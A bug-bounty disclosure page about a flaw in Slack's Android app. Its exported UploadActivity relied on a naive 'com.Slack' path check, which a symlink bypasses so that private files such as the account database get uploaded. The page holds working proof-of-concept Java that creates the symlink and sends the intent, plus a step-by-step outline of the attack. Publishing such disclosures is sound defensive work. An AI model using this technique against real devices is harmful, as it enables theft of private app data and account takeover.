Private application files can be uploaded to Slack via malicious uploader
The exported UploadActivity in the Slack Android app accepts a file URI and attempts to block access to private app files by checking if the path contains 'com.Slack'. A malicious app can create a symbolic link to a private Slack file and pass that link's URI, bypassing the check and causing Slack to upload the private file.
Originally disclosed on HackerOne
- Triaged in 2 days
- Fixed in 13 months
- Paid in 13 months
- Disclosed after 3.1 years
Hi. I have found an issue which allows to retrieve any files from /data/data/com.Slack/* directory. The problem is in exported activity com.Slack.ui.UploadActivity which accepts a URI to download files. I see that you've added verification
private static boolean isPrivateFile(Uri uri) {
return uri.getPathSegments().contains("com.Slack");
}
You can bypass the verification using symlink files. Malicious code:
StrictMode.VmPolicy.Builder builder = new StrictMode.VmPolicy.Builder();
StrictMode.setVmPolicy(builder.build());
new File("/data/data/com.example.route.readfileapk/").setReadable(true,false);
new File("/data/data/com.example.route.readfileapk/").setWritable(true,false);
new File("/data/data/com.example.route.readfileapk/").setExecutable(true,false);
try {
Runtime.getRuntime().exec("ln -s /data/data/com.Slack/databases/account_manager /data/data/com.example.route.readfileapk/account_manager").waitFor();
}
catch(Exception e) {
e.printStackTrace();
finish();
return;
}
new File("/data/data/com.example.route.readfileapk/account_manager").setReadable(true,false);
Intent intent = new Intent("android.intent.action.SEND");
intent.setClassName("com.Slack", "com.Slack.ui.UploadActivity");
intent.setType("*/*");
intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
intent.putExtra("android.intent.extra.STREAM", Uri.parse("file:///data/data/com.example.route.readfileapk/account_manager"));
startActivity(intent);
Malware creates a link to your file /data/data/com.Slack/databases/account_manager (where com.example.route.readfileapk is package name of the malware), grants read/execute permission to any user (I mean Linux users), and starts your activity with the new URI.
Impact
This vulnerability can get a complete account, malware can access everything, including cookies, history and e-mail.
Attachments




Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
A malicious app could retrieve any private file from Slack's data directory, potentially leading to complete account takeover.
What the attacker needed
Malicious app installed on the same device; Slack app installed
How it was found
- Create a symbolic link in the malicious app's directory pointing to a private Slack file.
- Make the link readable by other users.
- Send an intent to Slack's UploadActivity with the link's URI as the stream extra.
- Slack's UploadActivity processes the linked private file.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Android apps store private data in a folder that other apps normally cannot read. This report shows that Slack's upload screen could be tricked into reading a private file by using a shortcut (a symbolic link) that points to it, because the safety check only looked at the shortcut's name, not the real file.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.